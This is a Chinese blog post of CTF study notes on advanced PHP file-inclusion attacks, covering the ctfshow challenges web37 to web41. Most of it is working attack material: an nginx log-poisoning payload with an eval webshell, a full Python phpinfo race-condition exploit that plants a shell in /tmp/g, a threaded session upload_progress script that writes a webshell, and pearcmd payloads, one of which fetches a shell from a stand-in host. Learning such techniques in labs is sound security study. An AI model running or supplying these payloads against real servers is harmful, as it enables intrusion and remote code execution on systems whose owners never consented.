【心得】PHP文件包含高级利用攻击面个人笔记
后台-插件-广告管理-内容页头部广告(手机) |
目录
一、nginx日志文件包含
二、临时文件包含
三、php的session文件包含
四、pear文件包含
五 、远程文件包含
文件包含
include "/var/www/html/flag.php";
一 文件名可控
$file=$_GET['file'];
include $file.".php"; //用php伪协议 ,可以使用data协议
二 文件后缀可控
$file=$_GET['file'];
include "/var/www/html/".$file; //不能使用伪协议了
/var/www/html/../../../../../flag
高级文件包含
一、nginx日志文件包含
nginx 可以认为它是http的一个服务器软件,提供了http服务 ,默认监听80端口
http://localhost/123.php?a=b
123.php 后缀是否是.php .就进行一次转发,转发到本地的127.0.0.1的9000端口
9000端口,是被另一个服务端软件监听,它提供解析php文件的服务,我们把这个软件,叫做php-fpm
专门解析php后缀的文件,执行里面代码,将执行结果交给nginx,再由nginx返回给http的客户端,这个客户端就是浏览器
http://localhost/123.jpg
123.jpg 非php后缀,那么由自己处理,nginx会找到web目录,读取123.jpg的内容,并返回给浏览器,同时告诉浏览器,我返回的
文件内容是一个jpg图片,你按照图片模式进行渲染,于是,浏览器页面上就能显示出一张图片出来
日志包含的前提条件
1 有文件名可控的文件包含点
2 有可以访问到的日志路径 默认nginx的日志路径为 /var/log/nginx/access.log
(linux默认日志路径:var/log)
例题1:web37
UA头里的php代码必须要一次性写对,如果出错,文件包含执行的时候会报fatal error不再向下解析后续再写入的php代码(环境被污染)
payload:
?file=../../../../../../var/log/nginx/access.log
UA:<?php eval($_POST[1]);?>
post:1=system('tac /f*');
二、临时文件包含
/tmp/php??????
文件包含,能否包含一个 /???/????????[@-[]]
答案是:不行 文件包含,是不支持通配符
我们明确的,得到这个临时目录下php开头的随机文件名字全称,然后我们就可以正常包含进去
默认情况,生命周期与php脚本一致,也就是说,脚本运行过程中,存在,脚本运行结束了,这个临时文件会被自动删除
突破点:
1 在php脚本运行过程中,包含临时文件
2 在脚本运行过程中,得到完整的临时文件名称
php配置文件中,默认,每次向浏览器发送内容时,不是一个字符一个字符发送的,它是一块内容一块内容发送的
4096个字符
假设我们能够访问phpinfo的结果 FILES 就会存在tmp_name临时文件名字,读取后可以成功包含
强制文件上传,在上传期间,临时文件是存在的,包含临时文件,执行了其中的php代码,达成了RCE效果,最终删除临时文件
最终原理就是增大phpinfo页面回显的字节数,让其不一次性执行完,拖慢执行速度,当读到临时文件时就可以进行包含
phpinfo_lfi
例题2 web38
贴出攻击脚本,要在python2.7的环境下运行
- #!/usr/bin/python
- import sys
- import threading
- import socket
- def setup(host, port):
- TAG="Security Test"
- PAYLOAD="""%s\r
- <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
- REQ1_DATA="""-----------------------------7dbff1ded0714\r
- Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
- Content-Type: text/plain\r
- \r
- %s
- -----------------------------7dbff1ded0714--\r""" % PAYLOAD
- padding="A" * 5000
- REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
- Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
- HTTP_ACCEPT: """ + padding + """\r
- HTTP_USER_AGENT: """+padding+"""\r
- HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
- HTTP_PRAGMA: """+padding+"""\r
- Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
- Content-Length: %s\r
- Host: %s\r
- \r
- %s""" %(len(REQ1_DATA),host,REQ1_DATA)
- #modify this to suit the LFI script
- LFIREQ="""GET /?file=%s HTTP/1.1\r
- User-Agent: Mozilla/4.0\r
- Proxy-Connection: Keep-Alive\r
- Host: %s\r
- \r
- \r
- """
- return (REQ1, TAG, LFIREQ)
- def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host, port))
- s2.connect((host, port))
- s.send(phpinforeq)
- d = ""
- while len(d) < offset:
- d += s.recv(offset)
- try:
- i = d.index("[tmp_name] => ")
- fn = d[i+17:i+31]
- except ValueError:
- return None
- s2.send(lfireq % (fn, host))
- d = s2.recv(4096)
- s.close()
- s2.close()
- if d.find(tag) != -1:
- return fn
- counter=0
- class ThreadWorker(threading.Thread):
- def __init__(self, e, l, m, *args):
- threading.Thread.__init__(self)
- self.event = e
- self.lock = l
- self.maxattempts = m
- self.args = args
- def run(self):
- global counter
- while not self.event.is_set():
- with self.lock:
- if counter >= self.maxattempts:
- return
- counter+=1
- try:
- x = phpInfoLFI(*self.args)
- if self.event.is_set():
- break
- if x:
- print "\nGot it! Shell created in /tmp/g"
- self.event.set()
- except socket.error:
- return
- def getOffset(host, port, phpinforeq):
- """Gets offset of tmp_name in the php output"""
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((host,port))
- s.send(phpinforeq)
- d = ""
- while True:
- i = s.recv(4096)
- d+=i
- if i == "":
- break
- # detect the final chunk
- if i.endswith("0\r\n\r\n"):
- break
- s.close()
- i = d.find("[tmp_name] => ")
- if i == -1:
- raise ValueError("No php tmp_name in phpinfo output")
- print "found %s at %i" % (d[i:i+10],i)
- # padded up a bit
- return i+256
- def main():
- print "LFI With PHPInfo()"
- print "-=" * 30
- if len(sys.argv) < 2:
- print "Usage: %s host [port] [threads]" % sys.argv[0]
- sys.exit(1)
- try:
- host = socket.gethostbyname(sys.argv[1])
- except socket.error, e:
- print "Error with hostname %s: %s" % (sys.argv[1], e)
- sys.exit(1)
- port=80
- try:
- port = int(sys.argv[2])
- except IndexError:
- pass
- except ValueError, e:
- print "Error with port %d: %s" % (sys.argv[2], e)
- sys.exit(1)
- poolsz=10
- try:
- poolsz = int(sys.argv[3])
- except IndexError:
- pass
- except ValueError, e:
- print "Error with poolsz %d: %s" % (sys.argv[3], e)
- sys.exit(1)
- print "Getting initial offset...",
- reqphp, tag, reqlfi = setup(host, port)
- offset = getOffset(host, port, reqphp)
- sys.stdout.flush()
- maxattempts = 1000
- e = threading.Event()
- l = threading.Lock()
- print "Spawning worker pool (%d)..." % poolsz
- sys.stdout.flush()
- tp = []
- for i in range(0,poolsz):
- tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
- for t in tp:
- t.start()
- try:
- while not e.wait(1):
- if e.is_set():
- break
- with l:
- sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
- sys.stdout.flush()
- if counter >= maxattempts:
- break
- if e.is_set():
- print "Woot! \m/"
- else:
- print ":("
- except KeyboardInterrupt:
- print "\nTelling threads to shutdown..."
- e.set()
- print "Shuttin' down..."
- for t in tp:
- t.join()
- if __name__=="__main__":
- main()
三、php的session文件包含
php的session文件包含,upload_progress文件包含
需要配置文件如下设置
强制文件上传时,通过上传一个固定的表单PHP_SESSION_UPLOAD_PROGRESS ,可以往服务器的session文件内写入我们的指定内容
然后在脚本运行过程中包含后,可以执行里面的php代码
例题3 web39
贴出脚本
- import requests
- import threading
- session = requests.session()
- sess="ctfshow"
- file_name="/var/www/html/1.php"
- file_content='<?php eval($_POST[1]);?>'
- url = "http://f7a14db4-e464-4679-a278-1bff18bb4794.challenges.ctfer.com:8080/"
- data = {
- "PHP_SESSION_UPLOAD_PROGRESS":f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
- }
- file= {
- 'file':'ctfshow'
- }
- cookies={
- 'PHPSESSID':sess
- }
- def write():
- while True:
- r = session.post(url=url,data=data,files=file,cookies=cookies)
- def read():
- while True:
- r = session.post(url=url+"?file=../../../../../../tmp/sess_ctfshow")
- if "success" in r.text:
- print("shell 地址为:"+url+"/1.php")
- exit()
- threads = [threading.Thread(target=write),threading.Thread(target=read)]
- for t in threads:
- t.start()
跑出结果
访问,RCE即可
四、pear文件包含
条件:
1 有文件包含点
2 开启了pear扩展
3 配置文件中register_argc_argv 设置为On,而默认为Off
PEAR扩展
PHP Extension and Application Repository
默认安装位置是 /usr/local/lib/php/
利用Pear扩展进行文件包含
方法一 远程文件下载
?file=/usr/local/lib/php/pearcmd.php&ctfshow+install+-R+/var/www/html/+http://your-shell.com/shell.php
方法二 生成配置文件,配置项传入我们恶意的php代码的形式
a=b
username=root
man_dir=<?php eval($_POST[1]);?>
ctfshow.php
GET /?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/ctf.php+-d+man_dir=<?eval($_POST[1]);?>+-s+
方法三 写配置文件方式
GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+1.php
例题4 web40
用方法二:
用方法三:
五 、远程文件包含
通过域名转数字的形式,可以不用.来构造远程文件地址
数字转IP地址 IP地址转数字 域名转数字IP
?file=http://731540450/1
例题5 web41
1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。
在线投稿:投稿 站长QQ:1888636
后台-插件-广告管理-内容页尾部广告(手机) |